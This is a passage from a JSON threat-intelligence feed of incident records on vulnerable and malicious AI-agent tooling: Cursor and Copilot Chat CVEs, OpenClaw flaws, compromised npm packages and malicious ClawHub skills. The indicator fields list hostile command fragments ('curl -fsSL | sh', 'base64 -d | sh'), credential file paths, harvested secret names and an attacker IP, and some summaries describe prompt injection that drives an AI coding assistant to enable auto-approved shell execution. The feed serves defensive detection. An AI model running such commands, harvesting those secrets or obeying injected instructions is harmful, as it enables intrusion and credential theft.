"CONFIG_05_REPO_HOOK_RCE", "RUNTIME_02_CONFIG_WRITE_FIREWALL" ], "abom": { "fs_sensitive": [ "~/.cursor/mcp.json", ".cursor/mcp.json" ], "env_harvest": [], "net_egress": [], "proc_exec": [ "auto-spawned MCP stdio command on config save" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2025_54135" }, "license": "CC-BY-4.0", "record_digest": "sha256:a29484aeec6658e9423be93b71cbb8eabe6d78244aa15994a192a67916a9acc4", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0019", "modified": "2025-08-12T10:00:00Z", "published": "2025-08-12T10:00:00Z", "summary": "CVE-2025-54136 (MCPoison, CVSS 7.8): once a repository .cursor/mcp.json entry is approved, subsequent git pull modifications to its command/args execute silently without re-prompting.", "affected": [ { "package": { "ecosystem": "vscode", "name": "anysphere.cursor" }, "versions": [ "1.2.1" ] } ], "credits": [ { "name": "Check Point Research", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54136" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0019/" } ], "database_specific": { "target": "vscode:anysphere.cursor@1.2.1", "kind": "package", "verdict": "known_bad", "ioc": "vscode:anysphere.cursor@1.2.1 (CVE-2025-54136 MCPoison)", "artifact_sha256": "f6a093fde5fd1c306e7cb63c75dca0be63759710b423529cc6cca4c766c3c920", "owasp_asi": [ "ASI02", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST05" ], "rules_matched": [ "CONFIG_05_REPO_HOOK_RCE", "RUNTIME_03_HASH_PIN_LOCK" ], "abom": { "fs_sensitive": [ ".cursor/mcp.json" ], "env_harvest": [], "net_egress": [], "proc_exec": [ "cmd.exe /c calc.exe (silent post-approval mutation)" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2025_54136" }, "license": "CC-BY-4.0", "record_digest": "sha256:397ba8b677f94d3d85749af6991a853ec03c16b092e0e0ac70bbc43282b655ea", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0020", "modified": "2025-08-13T18:00:00Z", "published": "2025-08-13T18:00:00Z", "summary": "CVE-2025-53773 (CVSS 7.8): prompt injection in untrusted source files or issues instructs Copilot to append chat.tools.autoApprove=true into .vscode/settings.json, enabling arbitrary shell execution.", "affected": [ { "package": { "ecosystem": "vscode", "name": "github.copilot-chat" }, "versions": [ "0.29.0" ] } ], "credits": [ { "name": "Embrace The Red (Johann Rehberger) / MSRC", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53773" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0020/" } ], "database_specific": { "target": "vscode:github.copilot-chat@0.29.0", "kind": "package", "verdict": "known_bad", "ioc": "vscode:github.copilot-chat@0.29.0 (CVE-2025-53773)", "artifact_sha256": "7f470fd621d0481283960a85439c043162aff69dadad9c0328e38c7a93566a59", "owasp_asi": [ "ASI01", "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST05" ], "rules_matched": [ "CONFIG_05_REPO_HOOK_RCE", "RUNTIME_02_CONFIG_WRITE_FIREWALL" ], "abom": { "fs_sensitive": [ ".vscode/settings.json", ".vscode/tasks.json" ], "env_harvest": [], "net_egress": [], "proc_exec": [ "chat.tools.autoApprove: true -> arbitrary terminal execution" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2025_53773" }, "license": "CC-BY-4.0", "record_digest": "sha256:e67873884368b0c8c034f057d04bc7f9f256ddd7a0d5732201cd3993206e2b42", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0021", "modified": "2026-02-09T11:30:00Z", "published": "2026-02-09T11:30:00Z", "summary": "Unauthorized npm publication in @mastra/core 0.1.22 exfiltrating environment variables and agent memory configuration during Mastra agent initialization.", "affected": [ { "package": { "ecosystem": "npm", "name": "@mastra/core" }, "versions": [ "0.1.22" ] } ], "credits": [ { "name": "Socket Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://socket.dev/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0021/" } ], "database_specific": { "target": "npm:@mastra/core@0.1.22", "kind": "package", "verdict": "known_bad", "ioc": "npm:@mastra/core@0.1.22", "artifact_sha256": "5388fd3d2e651bc4b81c3389ba5f9a60ffae2823cbecb1ca42c87a13fd23fe8a", "owasp_asi": [ "ASI03", "ASI04", "ASI06" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL", "RULE_06_RELEASE_AGE_GATE" ], "abom": { "fs_sensitive": [], "env_harvest": [ "OPENAI_API_KEY", "ANTHROPIC_API_KEY", "DATABASE_URL" ], "net_egress": [ "mastra-telemetry-edge.invalid:443" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "compromised_publish_token" }, "license": "CC-BY-4.0", "record_digest": "sha256:8a83058fc19d5ce5fc14542a16abae81eee7ff0eaed6f76ae9a55a8a4f872146", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0022", "modified": "2026-02-09T11:45:00Z", "published": "2026-02-09T11:45:00Z", "summary": "Companion malicious build in the @mastra supply-chain incident harvesting cloud deployment tokens during build step.", "affected": [ { "package": { "ecosystem": "npm", "name": "@mastra/deployer" }, "versions": [ "0.1.15" ] } ], "credits": [ { "name": "Socket Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://socket.dev/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0022/" } ], "database_specific": { "target": "npm:@mastra/deployer@0.1.15", "kind": "package", "verdict": "known_bad", "ioc": "npm:@mastra/deployer@0.1.15", "artifact_sha256": "2efb79a24a63af0160a4186aeee77da7f32ffa1c3a8bd386ebaa000d3bae1e70", "owasp_asi": [ "ASI03", "ASI04" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [], "env_harvest": [ "VERCEL_TOKEN", "CLOUDFLARE_API_TOKEN", "AWS_SECRET_ACCESS_KEY" ], "net_egress": [ "mastra-telemetry-edge.invalid:443" ], "proc_exec": [], "install_hooks": [ "postinstall" ], "oauth_scopes": [], "obfuscation": [], "provenance": "compromised_publish_token" }, "license": "CC-BY-4.0", "record_digest": "sha256:af542e1cb9051e03f3deab49b6307d3c639fb5fb2cf48498b120c626eb437ea4", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2025-0023", "modified": "2025-09-15T16:20:00Z", "published": "2025-09-15T16:20:00Z", "summary": "Patient zero of the Shai-Hulud self-propagating npm worm (500+ packages). Runs TruffleHog on developer machines, steals NPM_TOKEN/GITHUB_TOKEN, creates public 'Shai-Hulud' repos with secrets, and infects downstream maintainer packages.", "affected": [ { "package": { "ecosystem": "npm", "name": "@ctrl/tinycolor" }, "versions": [ "4.1.1" ] } ], "credits": [ { "name": "StepSecurity / Socket", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.stepsecurity.io/blog/ctrl-tinycolor-and-40-npm-packages-compromised" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2025-0023/" } ], "database_specific": { "target": "npm:@ctrl/tinycolor@4.1.1", "kind": "package", "verdict": "known_bad", "ioc": "npm:@ctrl/tinycolor@4.1.1 (Shai-Hulud worm)", "artifact_sha256": "682a66881b1f3357b2c8fe87ada71e6aba9dea4941fcd63a8f43c00b6e721e8b", "owasp_asi": [ "ASI03", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST03" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.npmrc", "~/.aws/credentials", "~/.ssh/*" ], "env_harvest": [ "NPM_TOKEN", "GITHUB_TOKEN", "AWS_ACCESS_KEY_ID" ], "net_egress": [ "api.github.com", "registry.npmjs.org", "webhook.site" ], "proc_exec": [ "bundle.js (TruffleHog scanner + worm propagator)" ], "install_hooks": [ "postinstall" ], "oauth_scopes": [], "obfuscation": [ "webpack_minified_worm_bundle" ], "provenance": "shai_hulud_worm_propagation" }, "license": "CC-BY-4.0", "record_digest": "sha256:ec92e6b4f4ab36aa2d9588653e5fa8eafa52745960744ccdc5fd1fede9b75483", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0024", "modified": "2026-03-04T15:10:00Z", "published": "2026-03-04T15:10:00Z", "summary": "CanisterWorm campaign package targeting Web3/agent builders; fetches stage-2 payload from an immutable Internet Computer (ICP) smart contract canister.", "affected": [ { "package": { "ecosystem": "npm", "name": "agent-kit-icp" }, "versions": [ "1.0.9" ] } ], "credits": [ { "name": "Koi Security / Socket", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://socket.dev/blog" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0024/" } ], "database_specific": { "target": "npm:agent-kit-icp@1.0.9", "kind": "package", "verdict": "known_bad", "ioc": "npm:agent-kit-icp@1.0.9 (CanisterWorm)", "artifact_sha256": "06a402ee0743b20bc9a440bd443006729f72917eba99f0d1b2f5924185fa89de", "owasp_asi": [ "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST04" ], "rules_matched": [ "RULE_04_INSTALL_LIFECYCLE_HOOK", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.config/dfx/identity/*", "~/.ssh/*" ], "env_harvest": [ "DFX_IDENTITY_PEM", "PRIVATE_KEY", "MNEMONIC" ], "net_egress": [ "ic0.app (canister dead-drop)" ], "proc_exec": [ "node scripts/init-canister.js" ], "install_hooks": [ "postinstall" ], "oauth_scopes": [], "obfuscation": [], "provenance": "canisterworm_campaign" }, "license": "CC-BY-4.0", "record_digest": "sha256:9c6d202decd0ad7f85c285013635b4ef31a95101d4d67c4d843fac64dc460cfb", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0025", "modified": "2026-02-03T12:00:00Z", "published": "2026-02-03T12:00:00Z", "summary": "CVE-2026-25253 (CVSS 8.8): 1-click RCE via gatewayUrl query parameter in OpenClaw Control UI; leaks gateway auth token over WebSocket and disables sandbox execution.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.1.29" ] } ], "credits": [ { "name": "depthfirst / Mav Levin", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25253" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0025/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.1.29", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.1.29 (CVE-2026-25253)", "artifact_sha256": "a60cbbbb19b932d3900752b1dd65ee7a5875298b447e0fe173a0391a1fc2a628", "owasp_asi": [ "ASI02", "ASI03", "ASI05" ], "owasp_ast": [ "AST02", "AST03" ], "rules_matched": [ "CONFIG_02_LOCALHOST_NO_AUTH" ], "abom": { "fs_sensitive": [ "~/.openclaw/openclaw.json" ], "env_harvest": [ "OPENCLAW_GATEWAY_TOKEN" ], "net_egress": [ "ws://attacker.invalid (cross-origin WebSocket token leak)" ], "proc_exec": [ "exec.approvals=off -> host shell RCE" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_25253" }, "license": "CC-BY-4.0", "record_digest": "sha256:04135b07be976a88fa35ec9004589cf00ca53fe1d91e27f9cdeb00b8a6caff08", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0026", "modified": "2026-02-06T10:00:00Z", "published": "2026-02-06T10:00:00Z", "summary": "CVE-2026-25157 (CVSS 7.8): OS command injection in OpenClaw macOS SSH remote project path handling and node-host ProxyCommand.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.2.1" ] } ], "credits": [ { "name": "GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25157" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0026/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.2.1", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.2.1 (CVE-2026-25157)", "artifact_sha256": "e6fe53248f23928ead2712a74a6c1f6be8e0a992bde36027865747be4e07f2ad", "owasp_asi": [ "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST05" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.ssh/config" ], "env_harvest": [], "net_egress": [], "proc_exec": [ "ssh -o ProxyCommand=..." ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_25157" }, "license": "CC-BY-4.0", "record_digest": "sha256:165b85273acc68c66ba9e5d4c7f160181905c02450a47a3225574d856a0560e1", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0027", "modified": "2026-02-08T09:00:00Z", "published": "2026-02-08T09:00:00Z", "summary": "CVE-2026-25475 (CVSS 6.5): Local File Inclusion (LFI) in OpenClaw Media Understanding attachment handler via unsanitized file paths (/etc/passwd, ~/.ssh/id_rsa).", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.2.2" ] } ], "credits": [ { "name": "GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25475" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0027/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.2.2", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.2.2 (CVE-2026-25475)", "artifact_sha256": "5492164907970decf9ef273850ff72f5d0bd73cd283c1b76bcc67cef275d1384", "owasp_asi": [ "ASI02", "ASI03" ], "owasp_ast": [ "AST02", "AST05" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "/etc/passwd", "~/.ssh/id_rsa", "~/.openclaw/credentials" ], "env_harvest": [], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_25475" }, "license": "CC-BY-4.0", "record_digest": "sha256:42217c607b0b5cd78c3928f7c537bfad8a58bf8f9783ad3303c495f4d635de70", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0028", "modified": "2026-02-10T11:00:00Z", "published": "2026-02-10T11:00:00Z", "summary": "CVE-2026-25593 (CVSS 8.4): Unauthenticated local RCE via WebSocket config.apply cliPath option injection in OpenClaw gateway.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.2.3" ] } ], "credits": [ { "name": "GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25593" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0028/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.2.3", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.2.3 (CVE-2026-25593)", "artifact_sha256": "82338c10c7d718b5b4df8eda793fc20c25ee1dbbe172b81a3cb0d2d2c002ad8f", "owasp_asi": [ "ASI02", "ASI05" ], "owasp_ast": [ "AST02", "AST03" ], "rules_matched": [ "CONFIG_02_LOCALHOST_NO_AUTH" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "127.0.0.1:18789 (ws config.apply)" ], "proc_exec": [ "cliPath command execution" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_25593" }, "license": "CC-BY-4.0", "record_digest": "sha256:8ce32f5a56fa1ba16c61bc3b4be35bbac5bbd9a08c51d71bf73ca2f9e71901f0", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0029", "modified": "2026-02-16T14:00:00Z", "published": "2026-02-16T14:00:00Z", "summary": "CVE-2026-26319 (CVSS 7.5): Missing webhook authentication in OpenClaw Telnyx voice plugin allowing forged inbound agent instructions.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.2.10" ] } ], "credits": [ { "name": "GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26319" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0029/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.2.10", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.2.10 (CVE-2026-26319)", "artifact_sha256": "29e4340aef58dc8c6679521352f69f70580a3bd67655d4289b98a7a78e97a9d5", "owasp_asi": [ "ASI01", "ASI07" ], "owasp_ast": [ "AST02", "AST04" ], "rules_matched": [ "CONFIG_02_LOCALHOST_NO_AUTH" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "/webhooks/telnyx (missing signature check)" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_26319" }, "license": "CC-BY-4.0", "record_digest": "sha256:40a0189a5d983d27044e95786aa148de1c29849cbf95616f4bcb776bda3b72e4", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0030", "modified": "2026-02-17T10:00:00Z", "published": "2026-02-17T10:00:00Z", "summary": "CVE-2026-26322 (CVSS 7.6): Server-Side Request Forgery (SSRF) in OpenClaw Gateway tool host parameter allowing cloud metadata (169.254.169.254) and internal LAN probing.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.2.11" ] } ], "credits": [ { "name": "GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26322" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0030/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.2.11", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.2.11 (CVE-2026-26322)", "artifact_sha256": "c395f9a786ead3911bf598cf36c0f6b8db806bee087d3e75b7a6d6490960a6b8", "owasp_asi": [ "ASI02", "ASI03" ], "owasp_ast": [ "AST02", "AST04" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [ "169.254.169.254 (IMDSv1/v2 SSRF)", "127.0.0.1:*" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_26322" }, "license": "CC-BY-4.0", "record_digest": "sha256:cce42c3dea4ca3010d07bd9a4225fc7421cdf7845f99b4a2c6ae40540a422551", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0031", "modified": "2026-02-18T08:00:00Z", "published": "2026-02-18T08:00:00Z", "summary": "CVE-2026-26329 (CVSS 8.1): Path traversal in OpenClaw Browser upload action allowing arbitrary host file reads into untrusted web forms.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.2.12" ] } ], "credits": [ { "name": "GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26329" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0031/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.2.12", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.2.12 (CVE-2026-26329)", "artifact_sha256": "32d67f080a0e2e0e774b47067735620be40d7e7f9c8cd8af3d544e9188b5e9e7", "owasp_asi": [ "ASI02", "ASI03" ], "owasp_ast": [ "AST02", "AST05" ], "rules_matched": [ "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "../../.ssh/id_rsa", "../../.env" ], "env_harvest": [], "net_egress": [ "browser_upload_exfil" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_26329" }, "license": "CC-BY-4.0", "record_digest": "sha256:74a44ff2d81d27bf04b0d6064e5bf3982becc3cddd9060a6c5fb23021ac009d6", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0032", "modified": "2026-03-12T10:00:00Z", "published": "2026-03-12T10:00:00Z", "summary": "CVE-2026-32922 (CVSS 8.6): Device identity nonce verification bypass in OpenClaw pairing flow permitting rogue node registration and shared-token privilege escalation.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.3.1" ] } ], "credits": [ { "name": "GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32922" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0032/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.3.1", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.3.1 (CVE-2026-32922)", "artifact_sha256": "f261f46dba2af05b521b0e8c08fdc543553dcf1fada2875181566e1e6216e709", "owasp_asi": [ "ASI03", "ASI07" ], "owasp_ast": [ "AST02", "AST03" ], "rules_matched": [ "CONFIG_02_LOCALHOST_NO_AUTH" ], "abom": { "fs_sensitive": [], "env_harvest": [ "OPENCLAW_SHARED_TOKEN" ], "net_egress": [], "proc_exec": [], "install_hooks": [], "oauth_scopes": [ "node:admin", "gateway:pair" ], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_32922" }, "license": "CC-BY-4.0", "record_digest": "sha256:d513b8306efd73031c01a1c704f777539fb98d178bc72658187f505b90751fd7", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0033", "modified": "2026-03-22T15:00:00Z", "published": "2026-03-22T15:00:00Z", "summary": "CVE-2026-33579 (CVSS 9.1): Privilege escalation in OpenClaw /pair approve command allowing a low-privilege caller to grant full system.run host execution rights.", "affected": [ { "package": { "ecosystem": "gh", "name": "openclaw/openclaw" }, "versions": [ "2026.3.11" ] } ], "credits": [ { "name": "GitHub Security Advisory", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33579" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0033/" } ], "database_specific": { "target": "gh:openclaw/openclaw@2026.3.11", "kind": "package", "verdict": "known_bad", "ioc": "gh:openclaw/openclaw@2026.3.11 (CVE-2026-33579)", "artifact_sha256": "a2561eea855f15a660deb26a93e17352564b29320ade03c5ce763acfef1e1d03", "owasp_asi": [ "ASI03", "ASI05" ], "owasp_ast": [ "AST02", "AST03" ], "rules_matched": [ "CONFIG_02_LOCALHOST_NO_AUTH" ], "abom": { "fs_sensitive": [], "env_harvest": [], "net_egress": [], "proc_exec": [ "system.run (elevated host shell)" ], "install_hooks": [], "oauth_scopes": [ "operator.admin" ], "obfuscation": [], "provenance": "vulnerable_release_cve_2026_33579" }, "license": "CC-BY-4.0", "record_digest": "sha256:615df03b16c1cd412263692783a53dc1b0dec1ef97f14c35828e0c46444b86e9", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0034", "modified": "2026-10-25T07:00:00Z", "published": "2026-10-25T07:00:00Z", "summary": "Split-Brain Audit Case (#14 on skills.sh with 1.0M installs, 20 GitHub stars): stamped SAFE by Gen and 0 ALERTS by Socket, but fails Snyk W007 for instructing the user to paste third-party API keys directly into the LLM chat window.", "affected": [ { "package": { "ecosystem": "skillssh", "name": "designed-by-ai/skills/design-mobile-apps" }, "versions": [ "1.0.0" ] } ], "credits": [ { "name": "Snyk Agent Scan / threat.cafe Live Audit", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://www.skills.sh/audits" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0034/" } ], "database_specific": { "target": "skillssh:designed-by-ai/skills/design-mobile-apps", "kind": "skill", "verdict": "known_bad", "ioc": "skillssh:designed-by-ai/skills/design-mobile-apps (W007 credential prompt)", "artifact_sha256": "59c5be5c2c1d13009fa36bdbd6b8223aecc9ead1b4b3c62a3ad484659eb1ecde", "owasp_asi": [ "ASI01", "ASI03" ], "owasp_ast": [ "AST01", "AST07" ], "rules_matched": [ "RULE_07_CREDENTIAL_PROMPT_HARVEST" ], "abom": { "fs_sensitive": [], "env_harvest": [ "SLEEK_API_KEY (prompted directly into LLM context window)" ], "net_egress": [ "sleek.design/api/v1/*" ], "proc_exec": [], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "split_brain_scanner_conflict_w007" }, "license": "CC-BY-4.0", "record_digest": "sha256:6ed9052704e535e9da68bd6a63f2e290763e7ced56c96babe287121712978b75", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0035", "modified": "2026-02-14T13:00:00Z", "published": "2026-02-14T13:00:00Z", "summary": "ClawHavoc cluster skill by threat actor hightower6eu; uses base64-encoded curl pipe in SKILL.md prerequisites to steal Solana wallet keypairs and macOS Keychain.", "affected": [ { "package": { "ecosystem": "clawhub", "name": "hightower6eu/solana-sniper-pro" }, "versions": [ "2.1.0" ] } ], "credits": [ { "name": "Koi Security / Snyk ToxicSkills", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://snyk.io/articles/toxicskills-malicious-ai-agent-skills-clawhub/" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0035/" } ], "database_specific": { "target": "clawhub:hightower6eu/solana-sniper-pro", "kind": "skill", "verdict": "known_bad", "ioc": "clawhub:hightower6eu/solana-sniper-pro", "artifact_sha256": "d9f48dff08ef79a9640e3dd63bd2d347b5ea4ba8c59c1991f41a0f81ecd722cc", "owasp_asi": [ "ASI01", "ASI03", "ASI04" ], "owasp_ast": [ "AST01", "AST02" ], "rules_matched": [ "RULE_02_PROMPT_OVERRIDE", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/.config/solana/id.json", "~/Library/Keychains/login.keychain-db" ], "env_harvest": [ "SOLANA_PRIVATE_KEY" ], "net_egress": [ "91.92.242.30:443" ], "proc_exec": [ "base64 -d | sh" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [ "base64_shell_wrapper" ], "provenance": "clawhavoc_actor_hightower6eu" }, "license": "CC-BY-4.0", "record_digest": "sha256:54afbe8fc74fb66c602889a9f830fcb4652db773505710422bc691424d40f64a", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0036", "modified": "2026-02-14T13:15:00Z", "published": "2026-02-14T13:15:00Z", "summary": "ClawHavoc campaign skill impersonating a YouTube transcript fetcher; executes password-protected ZIP dropper on Windows and AMOS stealer on macOS.", "affected": [ { "package": { "ecosystem": "clawhub", "name": "zaycv/youtube-transcript-fast" }, "versions": [ "1.1.0" ] } ], "credits": [ { "name": "Koi Security", "type": "FINDER" } ], "references": [ { "type": "ADVISORY", "url": "https://thehackernews.com/2026/02/researchers-find-341-malicious-clawhub.html" }, { "type": "WEB", "url": "https://threat.cafe/incidents/tc-2026-0036/" } ], "database_specific": { "target": "clawhub:zaycv/youtube-transcript-fast", "kind": "skill", "verdict": "known_bad", "ioc": "clawhub:zaycv/youtube-transcript-fast", "artifact_sha256": "b058a6a5fb444643af182d08b295f8bf315907ddf48c9424007afc9a4182c7a0", "owasp_asi": [ "ASI01", "ASI04", "ASI05" ], "owasp_ast": [ "AST01", "AST02" ], "rules_matched": [ "RULE_02_PROMPT_OVERRIDE", "RULE_05_PROMPT_EXFIL_SHELL" ], "abom": { "fs_sensitive": [ "~/Library/Keychains/*", "~/.ssh/*" ], "env_harvest": [], "net_egress": [ "clawhavoc-driver-cdn.invalid:443" ], "proc_exec": [ "curl -fsSL | sh" ], "install_hooks": [], "oauth_scopes": [], "obfuscation": [], "provenance": "clawhavoc_actor_zaycv" }, "license": "CC-BY-4.0", "record_digest": "sha256:b388a15dd13c8356b2fc8bde2c98fd6f401671a55753583ca52cf10b37d3db89", "release_signature_url": "https://threat.cafe/feed.json.sig" } }, { "schema_version": "1.6.0", "id": "TC-2026-0037", "modified": "2026-02-15T09:30:00Z", "published": "2026-02-15T09:30:00Z", "summary": "Malicious ClawHub skill targeting prediction-market agent builders; installs a persistent reverse shell in ~/.zshrc and exfiltrates Polygon private keys.", "affected": [ { "package": { "ecosystem": "clawhub", "name": "osaka88/polymarket-arb-bot" }, "versions": [ "1.0.5" ] } ], "credits": [ { "name": "Snyk ToxicSkills", "type": "FINDER" } ], "references": [ { "type": 